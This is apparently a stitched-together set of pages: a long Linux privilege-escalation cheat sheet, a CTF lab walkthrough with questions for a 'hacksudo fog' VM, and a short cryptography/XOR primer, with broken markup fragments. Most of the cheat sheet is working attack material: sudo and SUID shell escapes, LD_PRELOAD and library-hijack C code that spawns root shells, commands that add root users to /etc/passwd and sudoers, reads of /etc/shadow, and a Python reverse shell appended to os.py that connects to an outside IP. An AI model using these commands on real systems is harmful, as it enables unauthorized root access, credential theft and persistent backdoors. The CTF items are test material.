+cat /etc/networks
+(ifconfig || ip a)
+
+#Neighbours
+(arp -e || arp -a)
+(route || ip n)
+
+#Iptables rules
+(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
+
+#Files used by network services
+lsof -i
+
+Always check network services running on the machine that you wasn't able to interact with before accessing to it:
+(netstat -punta || ss --ntpu)
+(netstat -punta || ss --ntpu) | grep "127.0"
+
+Check if you can sniff traffic. If you can, you could be able to grab some credentials.
+timeout 1 tcpdump
+
+Check who you are, which privileges do you have, which users are in the systems, which ones can login and which ones have root privileges:
+#Info about me
+id || (whoami && groups) 2>/dev/null
+#List all users
+cat /etc/passwd | cut -d: -f1
+#List users with console
+cat /etc/passwd | grep "sh$"
+#List superusers
+awk -F: '($3 == "0") {print}' /etc/passwd
+#Currently logged users
+w
+#Login history
+last | tail
+#Last log of each user
+lastlog
+
+#List all users and their groups
+for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
+#Current user PGP keys
+gpg --list-keys 2>/dev/null
+
+Some Linux versions were affected by a bug that allow users with UID > INT_MAX to escalate privileges. More info: here, here and here.
+Exploit it using: systemd-run -t /bin/bash
Check if you are a member of some group that could grant you root privileges:
+https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe
+Check if anything interesting is located inside the clipboard (if possible)
+if [ `which xclip 2>/dev/null` ]; then
+ echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
+ echo "Highlighted text: "`xclip -o 2>/dev/null`
+ elif [ `which xsel 2>/dev/null` ]; then
+ echo "Clipboard: "`xsel -ob 2>/dev/null`
+ echo "Highlighted text: "`xsel -o 2>/dev/null`
+ else echo "Not found xsel and xclip"
+ fi
+
+grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
+
+If you know any password of the environment try to login as each user using the password.
+If don't mind about doing a lot of noise and su
and timeout
binaries are present on the computer you can try to brute-force user using su-bruteforce.
+Linpeas with -a
parameter also try to brute-force users.
If you find that you can write inside some folder of the $PATH you may be able to escalate privileges by creating a backdoor inside the writable folder with the name of some command that is going to be executed by a different user (root ideally) and that is not loaded from a folder that is located previous to your writable folder in $PATH.
+You could be allowed to execute some command using sudo or they could have the suid bit. Check it using:
+sudo -l #Check commands you can execute with sudo
+find / -perm -4000 2>/dev/null #Find all SUID binaries
+
+Some unexpected commands allows you to read and/or write files or even execute command. For example:
+sudo awk 'BEGIN {system("/bin/sh")}'
+sudo find /etc -exec sh -i \;
+sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
+sudo tar c a.tar -I ./runme.sh a
+ftp>!/bin/sh
+less>! <shell_comand>
+
+Sudo configuration might allow a user to execute some command with another user privileges without knowing the password.
+$ sudo -l
+User demo may run the following commands on crashlab:
+ (root) NOPASSWD: /usr/bin/vim
+
+In this example the user demo
can run vim
as root
, it is now trivial to get a shell by adding an ssh key into the root directory or by calling sh
.
sudo vim -c '!sh'
+
+This directive allows the user to set an environment variable while executing something:
+$ sudo -l
+User waldo may run the following commands on admirer:
+ (ALL) SETENV: /opt/scripts/admin_tasks.sh
+
+This example, based on HTB machine Admirer, was vulnerable to PYTHONPATH hijacking in order to load an arbitrary python library while executing the script as root:
+sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
+
+Jump to read other files or use symlinks. For example in sudeores file: hacker10 ALL= (root) /bin/less /var/log/*
+sudo less /var/logs/anything
+less>:e /etc/shadow #Jump to read other files using privileged less
+ln /etc/shadow /var/log/new
+sudo less /var/log/new #Use symlinks to read any file
+
+If a wilcard is used (*), it is even easier:
+sudo less /var/log/../../etc/shadow #Read shadow
+sudo less /var/log/something /etc/shadow #Red 2 files
+
+Countermeasures: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/
+If the sudo permission is given to a single command without specifying the path: hacker10 ALL= (root) less you can exploit it by changing the PATH variable
+export PATH=/tmp:$PATH
+#Put your backdoor in /tmp and name it "less"
+sudo less
+
+This technique can also be used if a suid binary executes another command without specifying the path to it (always check with strings the content of a weird SUID binary).
+ +If the suid binary executes another command specifying the path, then, you can try to export a function named as the command that the suid file is calling.
+For example, if a suid binary calls /usr/sbin/service apache2 start you have to try to create the function and export it:
+function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
+export -f /usr/sbin/service
+
+Then, when you call the suid binary, this function will be executed
+LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.
+To avoid this mechanism being used as an attack vector for suid/sgid executable binaries, the loader ignores LD_PRELOAD if ruid != euid. For such binaries, only libraries in standard paths that are also suid/sgid will be preloaded.
+If you find inside the output of sudo -l
the sentence: env_keep+=LD_PRELOAD and you can call some command with sudo, you can escalate privileges.
Defaults env_keep += LD_PRELOAD
+
+Save as /tmp/pe.c
+#include <stdio.h>
+#include <sys/types.h>
+#include <stdlib.h>
+
+void _init() {
+ unsetenv("LD_PRELOAD");
+ setgid(0);
+ setuid(0);
+ system("/bin/bash");
+}
+
+Then compile it using:
+cd /tmp
+gcc -fPIC -shared -o pe.so pe.c -nostartfiles
+
+Finally, escalate privileges running
+sudo LD_PRELOAD=pe.so <COMMAND> #Use any command you can run with sudo
+
+If you find some weird binary with SUID permissions, you could check if all the .so files are loaded correctly. In order to do so you can execute:
+strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
+
+For example, if you find something like: pen(“/home/user/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory) you can exploit it.
+Create the file /home/user/.config/libcalc.c with the code:
+#include <stdio.h>
+#include <stdlib.h>
+
+static void inject() __attribute__((constructor));
+
+void inject(){
+ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
+}
+
+Compile it using:
+gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
+
+And execute the binary.
+GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
+The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.
+++ +gdb -nx -ex '!sh' -ex quit +sudo mysql -e '! /bin/sh' +strace -o /dev/null /bin/sh +sudo awk 'BEGIN {system("/bin/sh")}'
+
If you can access sudo -l
you can use the tool FallOfSudo to check if it finds how to exploit any sudo rule.
In the scenario where you have a shell as a user with sudo privileges but you don't know the password of the user, you can wait him to execute some command using sudo
. Then, you can access the token of the session where sudo was used and use it to execute anything as sudo (privilege escalation).
Requirements to escalate privileges:
+sudo
to execute something in the last 15mins (by default that's the duration of the sudo token that allows to use sudo
without introducing any password)cat /proc/sys/kernel/yama/ptrace_scope
is 0gdb
is accessible (you can be able to upload it)(You can temporarily enable ptrace_scope
with echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
or permanently modifying /etc/sysctl.d/10-ptrace.conf
and setting kernel.yama.ptrace_scope = 0
)
If all these requirements are met, you can escalate privileges using: https://github.com/nongiach/sudo_inject
+exploit.sh
) will create the binary activate_sudo_token
in /tmp. You can use it to activate the sudo token in your session (you won't get automatically a root shell, do sudo su
):bash exploit.sh
+/tmp/activate_sudo_token
+sudo su
+
+exploit_v2.sh
) will create a sh shell in /tmp owned by root with setuidbash exploit_v2.sh
+/tmp/sh -p
+
+exploit_v3.sh
) will create a sudoers file that makes sudo tokens eternal and allows all users to use sudobash exploit_v3.sh
+sudo su
+
+If you have write permissions in the folder or on any of the created files inside the folder you can use the binary write_sudo_token to create a sudo token for a user and PID. +For example if you can overwrite the file /var/run/sudo/ts/sampleuser and you have a shell as that user with PID 1234, you can obtain sudo privileges without needing to know the password doing:
+./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
+
+The file /etc/sudoers
and the files inside /etc/sudoers.d
configure who can use sudo
and how. This files by default can only be read by user root and group root.
+If you can read this file you could be able to obtain some interesting information, and if you can write any file you will be able to escalate privileges.
ls -l /etc/sudoers /etc/sudoers.d/
+ls -ld /etc/sudoers.d/
+
+If you can write you can abuse this permissions
+echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
+echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
+
+Other way to abuse these permissions:
+# makes it so every terminal can sudo
+echo "Defaults !tty_tickets" > /etc/sudoers.d/win
+# makes it so sudo never times out
+echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
+
+There are some alternatives to the sudo
binary such as doas
for OpenBSD, remember to check its configuration at /etc/doas.conf
permit nopass demo as root cmd vim
+
+If you know that a user usually connects to a machine and uses sudo
to escalate privileges and you got a shell within that user context, you can create a new sudo executable that will execute your code as root and then the users command. Then, modify the $PATH of the user context (for example adding the new path in .bash_profile) so we the user executed sudo, your sudo executable is executed.
Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example sudo-piggyback modifies ~/.bashrc
, ~/.zshrc
, ~/.bash_profile
. You can find another example in bashdoor.py
The file /etc/ld.so.conf
indicates where are loaded the configurations files from. Typically, this file contains the following path: include /etc/ld.so.conf.d/*.conf
That means that the configuration files from /etc/ld.so.conf.d/*.conf
will be read. This configuration files points to another folders where libraries are going to be searched for. For example, the content of /etc/ld.so.conf.d/libc.conf
is /usr/local/lib
. This means that the system will search for libraries inside /usr/local/lib
.
If for some reason a user has write permissions on any of the paths indicated: /etc/ld.so.conf
, /etc/ld.so.conf.d/
, any file inside /etc/ld.so.conf.d/
or any folder indicated inside any config file inside /etc/ld.so.conf.d/*.conf
he may be able to escalate privileges.
+Take a look about how to exploit this misconfiguration in the following page:
https://book.hacktricks.xyz/linux-unix/privilege-escalation/ld.so.conf-example
+level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
+ 0x00000001 (NEEDED) Shared library: [libc.so.6]
+ 0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
+
+level15@nebula:/home/flag15$ ldd ./flag15
+ linux-gate.so.1 => (0x0068c000)
+ libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
+ /lib/ld-linux.so.2 (0x005bb000)
+
+By copying the lib into /var/tmp/flag15/
it will be used by the program in this place as specified in the RPATH
variable.
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
+
+level15@nebula:/home/flag15$ ldd ./flag15
+ linux-gate.so.1 => (0x005b0000)
+ libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
+ /lib/ld-linux.so.2 (0x00737000)
+
+Then create an evil library in /var/tmp
with gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6
#include<stdlib.h>
+#define SHELL "/bin/sh"
+
+int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
+{
+ char *file = SHELL;
+ char *argv[] = {SHELL,0};
+ setresuid(geteuid(),geteuid(), geteuid());
+ execve(file,argv,0);
+}
+
+Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation. +Read the following page to learn more about capabilities and how to abuse them:
+https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities
+In a directory the bit for execute implies that the user affected can "cd" into the folder. +The read bit implies the user can list the files, and the write bit implies the user can delete and create new files.
+ACLs are a second level of discretionary permissions, that may override the standard ugo/rwx ones. When used correctly they can grant you a better granularity in setting access to a file or a directory, for example by giving or denying access to a specific user that is neither the file owner, nor in the group owner (from here). +Give user "kali" read and write permissions over a file:
+setfacl -m u:kali:rw file.txt
+
+Get files with specific ACLs from the system:
+getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
+
+In old versions you may hijack some shell session of a different user (root). +In newest versions you will be able to connect to screen sessions only of your own user. However, you could find interesting information inside of the session.
+List screen sessions
+screen -ls
+
+
+Attach to a session
+screen -dr <session> #The -d is to detacche whoever is attached to it
+screen -dr 3350.foo #In the example of the image
+
+Apparently this was a problem with old tmux versions. I wasn't able to hijack a tmux (v2.1) session created by root from a non-privileged user.
+List tmux sessions
+tmux ls
+ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
+tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
+
+
+Attach to a session
+tmux attach -t myname #If you write something in this session it will appears in the other opened one
+tmux attach -d -t myname #First detach the sessinos from the other console and then access it yourself
+tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
+
+Check valentine box from HTB for an example.
+All SSL and SSH keys generated on Debian-based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug. +This bug caused that when creating in those OS a new ssh key only 32,768 variations were possible. This means that all the possibilities can be calculated and having the ssh public key you can search for the corresponding private key. You can find the calculated possibilities here: https://github.com/g0tmi1k/debian-ssh
+no
.yes
.no
.Specifies whether root can log in using ssh, default is no
. Possible values:
yes
: root can login using password and private keywithout-password
or prohibit-password
: root can only login with private keyforced-commands-only
: Root can login only using privatekey cand if the commands options is specifiedno
: noSpecifies files that contains the public keys that can be used for user authentication. I can contains tokens like %h
, that will be replaced by the home directory. You can indicate absolute paths (starting in /
) or relative paths from the users home. For example:
AuthorizedKeysFile .ssh/authorized_keys access
+
+That configuration will indicate that if you try to login with the private key of the user "testusername" ssh is going to compare the public key of your key with the ones located in /home/testusername/.ssh/authorized_keys
and /home/testusername/access
SSH agent forwarding allows you to use your local SSH keys instead of leaving keys (without passphrases!) sitting on your server. So, you will be able to jump via ssh to a host and from there jump to another host using the key located in your initial host.
+You need to set this option in $HOME/.ssh.config
like this:
Host example.com
+ ForwardAgent yes
+
+Notice that if Host
is *
every time the user jumps to a different machine that host will be able to access the keys (which is a security issue).
The file /etc/ssh_config
can override this options and allow or denied this configuration.
+The file /etc/sshd_config
can allow or denied ssh-agent forwarding with the keyword AllowAgentForwarding
(default is allow).
If you Forward Agent configured in an environment check here how to exploit it to escalate privileges.
+The file /etc/profile
and the files under /etc/profile.d/
are scripts that are executed when a user run a new shell. Therefore, if you can write or modify any of the you can escalate privileges.
ls -l /etc/profile /etc/profile.d/
+
+If any weird profile script is found you should check it for sensitive details.
+Depending on the OS the /etc/passwd
and /etc/shadow
files may be using a different name or there may be a backup. Therefore it's recommended find all of hem and check if you can read them and check if there are hashes inside the files:
#Passwd equivalent files
+cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
+#Shadow equivalent files
+cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
+
+In some occasions you can find password hashes inside the /etc/passwd
(or equivalent) file
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
+
+First generate a password with one of the following commands.
+openssl passwd -1 -salt hacker hacker
+mkpasswd -m SHA-512 hacker
+python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
+
+Then add the user hacker
and add the generated password.
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
+
+E.g: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
You can now use the su
command with hacker:hacker
Alternatively you can use the following lines to add a dummy user without a password. +WARNING: you might degrade the current security of the machine.
+echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
+su - dummy
+
+NOTE: In BSD platforms /etc/passwd
is located at /etc/pwd.db
and /etc/master.passwd
, also the /etc/shadow
is renamed to /etc/spwd.db
.
You should check if you can write in some sensitive file. For example, can you write to some service configuration file?
+find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
+for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
+
+For example, if the machine is running a tomcat server and you can modify the Tomcat service configuration file inside /etc/systemd/, then you can modify the lines:
+ExecStart=/path/to/backdoor
+User=root
+Group=root
+
+Your backdoor will be executed the next time that tomcat is started.
+The following folders may contain backups or interesting information: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Probably you won't be able to read the last one but try)
+ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
+
+#root owned files in /home folders
+find /home -user root 2>/dev/null
+#Files owned by other users in folders owned by me
+for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
+#Files owned by root, readable by me but no world readable
+find / -type f -user root ! -perm -o=r 2>/dev/null
+#Files owned by me or world writable
+find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
+#Writable files by each group I belong to
+for g in `groups`;
+ do printf " Group $g:\n";
+ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
+ done
+done
+
+find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
+
+find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
+
+fils=`find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null`Hidden files
+
+find / -type f -iname ".*" -ls 2>/dev/null
+
+for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
+for d in `echo $PATH | tr ":" "\n"`; do find $d -type -f -executable 2>/dev/null; done
+
+ls -alhR /var/www/ 2>/dev/null
+ls -alhR /srv/www/htdocs/ 2>/dev/null
+ls -alhR /usr/local/www/apache22/data/
+ls -alhR /opt/lampp/htdocs/ 2>/dev/null
+
+find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/nulll
+
+Read the code of linPEAS, it searches for several possible files that could contain passwords. +Other interesting tool that you can use to do so is: LaZagne which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac.
+If you can read logs, you may be able to find interesting/confidential information inside of them. The more strange the log is, the more interesting will be (probably). +Also, some "bad" configured (backdoored?) audit logs may allow you to record passwords inside audit logs as explained in this post: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.
+aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
+grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
+
+In order to read logs the group adm will be really helpful.
+~/.bash_profile # if it exists, read once when you log in to the shell
+~/.bash_login # if it exists, read once if .bash_profile doesn't exist
+~/.profile # if it exists, read once if the two above don't exist
+/etc/profile # only read if none of the above exist
+~/.bashrc # if it exists, read every time you start a new shell
+~/.bash_logout # if it exists, read when the login shell exits
+~/.zlogin #zsh shell
+~/.zshrc #zsh shell
+
+You should also check for files containing the word "password" in it's name or inside the content, also check for IPs and emails inside logs, or hashes regexps. +I'm not going to list here how to do all of this but if you are interested you can check the last checks that linpeas perform.
+If you know from where a python script is going to be executed and you can write inside that folder or you can modify python libraries, you can modify the os library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library).
+To backdoor the library just add at the end of the os.py library the following line (change IP and PORT):
+import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
+
+There is a vulnerability on logrotate
that allows a user with write permissions over a log file or any of its parent directories to make logrotate
write a file in any location. If logrotate is being executed by root, then the user will be able to write any file in /etc/bash_completion.d/ that will be executed by any user that login.
+So, if you have write perms over a log file or any of its parent folder, you can privesc (on most linux distributions, logrotate is executed automatically once a day as user root). Also, check if apart of /var/log there are more files being rotated.
This vulnerability affects logrotate
version 3.15.1
and below
More detailed information about the vulnerability can be found in this page: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.
+You can exploit this vulnerability with logrotten.
+This vulnerability is very similar to CVE-2016-1247 (nginx logs), so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks.
+If, for whatever reason, a user is able to write an ifcf-<whatever>
script to /etc/sysconfig/network-scripts or it can adjust an existing one, then your system is pwned.
Network scripts, ifcg-eth0 for example are used for network connections. The look exactly like .INI files. However, they are ~~sourced~~ on Linux by Network Manager (dispatcher.d).
+In my case, the NAME=
attributed in these network scripts is not handled correctly. If you have white/blank space in the name the system tries to execute the part after the white/blank space. Which means; everything after the first blank space is executed as root.
For example: /etc/sysconfig/network-scripts/ifcfg-1337
+NAME=Network /bin/id
+ONBOOT=yes
+DEVICE=eth0
+
+(Note the black space between Network and /bin/id)
+Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
+/etc/init.d
contains scripts used by the System V init tools (SysVinit). This is the traditional service management package for Linux, containing the init
program (the first process that is run when the kernel has finished initializing¹) as well as some infrastructure to start and stop services and configure them. Specifically, files in /etc/init.d
are shell scripts that respond to start
, stop
, restart
, and (when supported) reload
commands to manage a particular service. These scripts can be invoked directly or (most commonly) via some other trigger (typically the presence of a symbolic link in /etc/rc?.d/
). (From here)
+Other alternative to this folder is /etc/rc.d/init.d
in Redhat
/etc/init
contains configuration files used by Upstart. Upstart is a young service management package championed by Ubuntu. Files in /etc/init
are configuration files telling Upstart how and when to start
, stop
, reload
the configuration, or query the status
of a service. As of lucid, Ubuntu is transitioning from SysVinit to Upstart, which explains why many services come with SysVinit scripts even though Upstart configuration files are preferred. In fact, the SysVinit scripts are processed by a compatibility layer in Upstart. (From here)
systemd is a Linux initialization system and service manager that includes features like on-demand starting of daemons, mount and automount point maintenance, snapshot support, and processes tracking using Linux control groups. systemd provides a logging daemon and other tools and utilities to help with common system administration tasks. (From here)
+Files that ships in packages downloaded from distribution repository go into /usr/lib/systemd/
. Modifications done by system administrator (user) go into /etc/systemd/system/
.
https://book.hacktricks.xyz/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe
+https://book.hacktricks.xyz/linux-unix/privilege-escalation/escaping-from-limited-bash
+https://book.hacktricks.xyz/linux-unix/privilege-escalation/cisco-vmanage
+LinEnum: https://github.com/rebootuser/LinEnum(-t option) +Enumy: https://github.com/luke-goddard/enumy +Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check +Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py +BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux +Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop +Mestaploit: multi/recon/local_exploit_suggester +Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester +EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail +Recopilation of more scripts: https://gh-dark.rauchg.now.sh/1N3/PrivEsc/tree/master/linux
+https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ +https://payatu.com/guide-linux-privilege-escalation/ +https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744 +http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html +https://touhidshaikh.com/blog/?p=827 +https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf +https://github.com/frizb/Linux-Privilege-Escalation +https://github.com/lucyoa/kernel-exploits +https://github.com/rtcrowley/linux-private-i
+In this challenge, you need to download the following virtual machine to finish the challenges.
+The box was created with Virtualbox
. Upon booting up use netdiscover
tool to find the IP address. This is the target address based on whatever settings you have. You should verify the address just in case.
You don't need to answer all questions in order. Skip some questions may not affect the next steps.
+Download: https://mega.nz/file/ix9VnA7Y#7LM1LXBta_kAeNrajXGkQhmwfbr5fIaQHykkWEPBjZY
+Mirror: https://pan.baidu.com/s/1D-YEa6cr3rcWXv49HgZtSw (Code: 1337)
+Environment setup should use VirtualBox
history version (VirtualBox 6.1.28 has a bug with Hyper-V, I used VirtualBox 6.0.24 and worked properly). You should setup Network
as the following:
The virtual image should enter the following promption:
+Debian GNU/Linux 10 hacksudo fog tty1
+eth0: 192.168.xx.xxx
+hacksudo login: _
+
+The second line is the ip address of virtual machine.
+Open your web browser, you can find this page in VM's ip address:
+ +You are done with configuration, now you can hack the machine and solve the challenges!
+If the ip address hasn't shown up, you can find it as below:
+Open you terminal (powershell.exe in Windows), and use ipconfig /all
to find your Host-only NET
ip address.
Use any tool to scan the ip 192.168.xx.0/24
and you can find the virtual machine ip address. Otherwise, you can also use arp -a
to find your Host-only Network
address, and usually VM's ip address is followed.
After the port scan, you should find several services running in the box. What's the version of the mysql
service?
Answer: x.x.x-xx.x.xx-MariaDB-x+debxxxx
(replace all x to your answer)
Hint: you can use nmap for port scanning.
+Access the website on port 80
. You can find here's some hint for the subsequent steps. What's the GitHub repo address you found in the source code?
Answer: https://github.com/xxxxxxxx/xxxxxxxxxxx
(replace all x to your answer)
Hint: press F12 on the keyboard to open the Developer's Tools to view the source code (may vary for different browsers).
+Using web directory scanning, you can find a txt
file under the website. What's the name of this txt
file?
Answer: xxxx.txt
(replace all x to your answer)
Hint: gobuster and dirbuster are both good web directory/file discovery tools.
+The CMS used in the website is CMS-MadeSimple
. However, this CMS can be vulnerable in some versions. What's the version of CMS?
Answer: x.x.x
(replace all x to your answer)
Hint: you can use whatweb to find out the version of services.
+Now, using the vulnerability to find the username and the hashed password of the CMS. It's hard to break the hash string, but you can use this username to break other services on the server. The txt
file you found above would help you to get the password for the ftp
service on port 21
.
What's the password (in plain text)?
+Answer: xxxxxx
(replace all x to your answer)
Hint: hydra is a widely used tool for password cracking.
+Using the previous username and password, you can log into the FTP server. You may notice there's a zip
file on the server. You need to break the password of the zip
file.
What's the password for the zip
file?
Answer: xxxxxx
(replace all x to your answer)
Hint: to crack the password of the zip files, you can check JohnTheRipper.
+After extracting the hacksudoSTEGNO.wav
, you need to find what's inside this file. Recall what you've got till now, and find the CMS password.
What's the password for CMS?
+Answer: xxxxxxxxxxxx
(replace all x to your answer)
Hint: CyberChef contains many useful cryptography tools.
+You've got the CMS! Now you can enjoy accessing all website pages and put your files on the website. Why not let us dig deeper?
+Upload a PHP script to give you shell access.
+What's the first line of flag2.txt
on the server?
Answer: xxx xxxxxxxxxxxx xxxxx xxx xxx xxx xxxxx xxxxxx!!!
(replace all x to your answer)
Hint: here are some upload limits on the server. Find out how to bypass them.
+Hint: after uploading your RCE script, you can generate a reversed shell to get a pty shell (which would simplify your next steps).
+User isro
is your first target. Attack and switch to user isro
. View the files of isro
. What's the content of user.txt
?
Answer: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
(replace all x to your answer)
Hint: /etc/shadow is a sensitive file and may contain a user hashed password.
+The final step: get root
privilege. What's the content in the root.txt
?
Answer: flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
(replace all x to your answer)
Hint: sudo has some suid things and you should take a look at them.
+ + + + + + + + +According to the @CTF101: https://ctf101.org/
+Cryptography is the reason we can use banking apps, transmit sensitive information over the web, and in general protect our privacy. However, a large part of CTFs is breaking widely used encryption schemes which are improperly implemented. The math may seem daunting, but more often than not, a simple understanding of the underlying principles will allow you to find flaws and crack the code.
+The word “cryptography” technically means the art of writing codes. When it comes to digital forensics, it’s a method you can use to understand how data is constructed for your analysis.
+Uses in every day software
+Malicious uses
+Data can be represented in different bases, an 'A' needs to be a numerical representation of Base 2 or binary so computers can understand them
+ +An XOR or eXclusive OR is a bitwise operation indicated by ^
and shown by the following truth table:
A | +B | +A ^ B | +
---|---|---|
0 | +0 | +0 | +
0 | +1 | +1 | +
1 | +0 | +1 | +
1 | +1 | +0 | +
So what XOR'ing bytes in the action 0xA0 ^ 0x2C
translates to is:
+ | + | + | + | + | + | + | + |
---|---|---|---|---|---|---|---|
1 | +0 | +1 | +0 | +0 | +0 | +0 | +0 | +
0 | +0 | +1 | +0 | +1 | +1 | +0 | +0 | +
1 | +0 | +0 | +0 | +1 | +1 | +0 | +0 | +
---|---|---|---|---|---|---|---|
+ | + | + | + | + | + | + | + |
0b10001100` is equivelent to `0x8C`, a cool property of XOR is that it is reversable meaning `0x8C ^ 0x2C = 0xA0` and `0x8C ^ 0xA0 = 0x2C
+
+
+XOR is a cheap way to encrypt data with a password. Any data can be encrypted using XOR as shown in this Python example:
+>>> data = 'CAPTURETHEFLAG'
+>>> key = 'A'
+>>> encrypted = ''.join([chr(ord(x) ^ ord(key)) for x in data])
+>>> encrypted
+'\x02\x00\x11\x15\x14\x13\x04\x15\t\x04\x07\r\x00\x06'
